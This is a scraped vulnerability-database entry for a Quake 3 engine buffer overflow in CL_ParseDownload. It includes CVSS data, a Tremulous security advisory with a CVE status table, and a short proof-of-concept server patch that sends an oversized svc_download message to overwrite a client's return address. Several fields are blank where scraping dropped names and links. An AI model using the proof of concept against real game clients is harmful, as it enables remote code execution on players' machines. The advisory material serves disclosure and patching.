发布时间 :2006-06-06 20:02:00
修订时间 :2011-03-07 21:37:10

[原文]Stack-based buffer overflow in the CL_ParseDownload function of Quake 3 Engine 1.32c and earlier, as used in multiple products, allows remote attackers to execute arbitrary code via a svc_download command with compressed data that triggers the overflow during expansion.

[CNNVD]Quake 3引擎 CL_ParseDownload 远程缓冲区溢出漏洞(CNNVD-200606-154)

        Quake 3引擎是ID Software(开发的游戏引擎,很多游戏都在使用。
        Quake 3引擎对用户命令的处理上存在漏洞,远程攻击者可能利用此漏洞在服务器上执行任意指令。

- CVSS (基础分值)

CVSS分值: 7.5 [严重(HIGH)]
机密性影响: PARTIAL [很可能造成信息泄露]
完整性影响: PARTIAL [可能会导致系统文件被修改]
可用性影响: PARTIAL [可能会导致性能下降或中断资源访问]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: [--]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)


- OVAL (用于检测的技术细节)


- 官方数据库链接
(官方数据源) MITRE
(官方数据源) NVD
(官方数据源) CNNVD

- 其它链接及资源
(UNKNOWN)  VUPEN  ADV-2006-2129
(UNKNOWN)  BID  18271
(UNKNOWN)  BUGTRAQ  20060602 Client buffer-overflow in Quake 3 engine (1.32c / rev 795)

- 漏洞信息

Quake 3引擎 CL_ParseDownload 远程缓冲区溢出漏洞
高危 缓冲区溢出
2006-06-06 00:00:00 2013-01-08 00:00:00
        Quake 3引擎是ID Software(开发的游戏引擎,很多游戏都在使用。
        Quake 3引擎对用户命令的处理上存在漏洞,远程攻击者可能利用此漏洞在服务器上执行任意指令。

- 公告与补丁

        id Software

- 漏洞信息 (F110095)

Tremulous Inherited Issues (PacketStormID:F110095)
2012-02-23 00:00:00
Simon McVittie  

Tremulous, a team based FPS game with RTS elements, suffers from a large amount of old Quake related vulnerabilities.


Tremulous is a team-based FPS game with RTS elements. Its engine and
game logic are based on the GPL source release of the Quake III Arena
engine and game logic by id Software.

The de facto upstream developer of the Quake III engine is now another
fork, ioquake3; in particular, ioquake3 fixes many security
vulnerabilities present in the original Quake III Arena source release.
Unlike (for instance) OpenArena or Urban Terror, Tremulous has diverged
from the original Quake III Arena engine, so it cannot be played using
an unmodified ioquake3 engine.

The Tremulous website advertises two versions of the game:

* 1.1.0, a stable release (released 2006-03-31). This is packaged
  in Debian/Ubuntu stable releases, and also appears to be packaged
  in FreeBSD, openSUSE and Gentoo.

* GPP1 ("Gameplay Preview 1"), a preview release (2009-12-03) of
  what will eventually become Tremulous 1.2. This
  appears to be packaged in Fedora stable releases.

In addition, there are several unofficial engine updates compatible with
1.1.0, notably a backport by Tony White (TJW), and a set of updated
client and server provided by Mercenaries' Guild. These are not
publicized by the main Tremulous website, but they are apparently
popular with players, and their functionality has been incorporated into
version 1.2 development.


Numerous security vulnerabilities have been reported and fixed in
ioquake3 since its initial release. Neither Tremulous 1.1.0 nor GPP1
incorporates fixes for all of these vulnerabilities.

I believe this table is more or less accurate, but I have only checked
Tremulous 1.1.0 in detail. If you ship one of the other versions, you
will need to do your own checks.

               Trem-1.1.0    MGC-1.011    MGS-1.01     tjw    Trem-GPP1
CVE-2001-1289       OK           OK           OK        OK       OK
CVE-2005-0430       OK           OK           OK        OK       OK
CVE-2005-0983       OK           OK           OK        OK       OK
CVE-2006-2082       Vuln         n/a          ?         Vuln     OK
CVE-2006-2236       Vuln         OK           n/a       OK       OK
CVE-2006-2875       Vuln         OK           n/a       OK       OK
CVE-2006-3324       Vuln         OK           n/a       Vuln     OK
CVE-2006-3325       Vuln         OK           n/a       Vuln     OK
CVE-2006-3400       OK           OK           OK        OK       OK
CVE-2006-3401       OK           OK           OK        OK       OK
CVE-2011-1412       OK           OK           OK        OK       OK
CVE-2011-2674       Vuln         Vuln         n/a       Vuln     Vuln
CVE-2011-3012       Vuln         OK           n/a       Vuln     OK

(For completeness, the table lists all CVE IDs I've found listed for
either Quake III Arena or ioquake3.)

Key: Trem-1.1.0 = Tremulous 1.1.0 (2006-03-31)
     MGC-1.011 = MercenariesGuild client 1.011 when used as a client
     MGS-1.01 = MercenariesGuild server 1.01 when used as a server
     tjw =
     Trem-GPP1 = Tremulous Gameplay Preview 1 (1.2 prerelease,

     Vuln = vulnerable
     partial = partial fix, probably still vulnerable
     n/a = server-specific bug not applicable to client or vice versa

In addition, searching ioquake3 commit history reveals a number of
commits which do not appear to be related to a CVE number, but could be
security-sensitive. I have not analyzed which of these could affect the
Tremulous engine. If you cause a new CVE number to be assigned for any
changes made to ioquake3 in the past (as was done for CVE-2011-3012),
please include a prominent reference to the relevant svn revision in any
advisory, so that CVE numbers can be correlated with the changes required.

Finally, to the best of my knowledge, ioquake3 upstream do not consider
the QVM bytecode interpreter to be safe for use with untrusted bytecode;
this means that auto-downloading (cl_allowDownload 1) is not considered
to be safe under any circumstances. This is particularly the case for
engines which do not have the interpreter/JIT hardening work that was
done in ioquake3 at svn revisions around 1687, 1717 and 2000, none of
which is present in at least Tremulous 1.1.0.


I have not received any response from Tremulous developers since I
contacted them privately 1 month ago.

Distributions like Debian, Fedora and Ubuntu should either fix the open
vulnerabilities, or remove affected Tremulous versions from their
repositories entirely.

I have uploaded tremulous 1.1.0-7 to Debian, with backports of the
various CVE fixes from ioquake3, and some additional pre-emptive changes
for potential bugs which are not known to be exploitable (avoiding
non-constant format strings and sprintf() into a fixed-length buffer).
Patches which I believe to be correct are available at
or by cloning the git repository
<git://>. Please contact me
via the Debian bug tracking system or the Games Team mailing list
<> with testing results or
corrections for these patches.

I believe that long-term-supported distributions should also mitigate
any future vulnerabilities in the ioquake3 bytecode interpreter by
removing client-side support for auto-downloading (always behaving as if
configured with cl_allowDownload 0) in their stable releases. I have
made this change in Debian's tremulous 1.1.0-7 package, but not yet in
Debian's ioquake3 package.


- 漏洞信息

Quake 3 Engine svc_download CL_ParseDownload Function Remote Overflow
Remote / Network Access Input Manipulation
Loss of Integrity
Vendor Verified

- 漏洞描述

Unknown or Incomplete

- 时间线

2006-06-02 Unknow
Unknow Unknow

- 解决方案

Unknown or Incomplete

- 相关参考

- 漏洞作者

Unknown or Incomplete

- 漏洞信息

Quake 3 Engine CL_ParseDownload Remote Buffer Overflow Vulnerability
Boundary Condition Error 18271
Yes No
2006-06-05 12:00:00 2010-05-17 06:52:00
Discovery is credited to Luigi Auriemma <>.

- 受影响的程序版本

Red Hat Fedora 13
Red Hat Fedora 12
id Software Quake 3 Arena 1.32c Quake 3 0 Quake 3 revision 796

- 不受影响的程序版本 Quake 3 revision 796

- 漏洞讨论

The Quake 3 engine is susceptible to a remote buffer-overflow vulnerability. This issue is due to the application's failure to properly bounds-check user-supplied data before copying it to an insufficiently sized memory buffer.

Remote attackers may exploit this issue to execute arbitrary machine code in the context of affected game clients. Failed exploit attempts will likely crash affected clients.

Quake 3 version 1.32c and Quake 3 revision 795 are vulnerable to this issue; other versions may also be affected. The affected game engine has been used to create many derivative games, which may also be affected.

- 漏洞利用

The server may be modified to send data sufficient to demonstrate this issue. The following code should be added to the 'code/server/sv_client.c' source file, after the '// send the gamestate' command at approximately line 575:

// send the gamestate
int i;
MSG_WriteByte( &amp;msg, svc_download );
MSG_WriteShort( &amp;msg, -1 ); // block != 0, for fast return
MSG_WriteShort( &amp;msg, 16384 + 32 ); // amount of bytes to copy
for(i = 0; i &lt; 16384; i++) { // overwrite the data buffer
MSG_WriteByte(&amp;msg, 0x00); // 0x00 for saving space
for(i = 0; i &lt; 32; i++) { // do the rest of the job
MSG_WriteByte(&amp;msg, 'a'); // return address: 0x61616161
SV_SendMessageToClient( &amp;msg, client );

- 解决方案 has applied a fix to their Subversion repository to address this issue. Please contact the vendor for further information about obtaining and applying fixes.

Currently we are not aware of any vendor-supplied patches for this issue from iD Software, or other vendors that may be affected. If you feel we are in error or are aware of more recent information, please mail us at: <>.

- 相关参考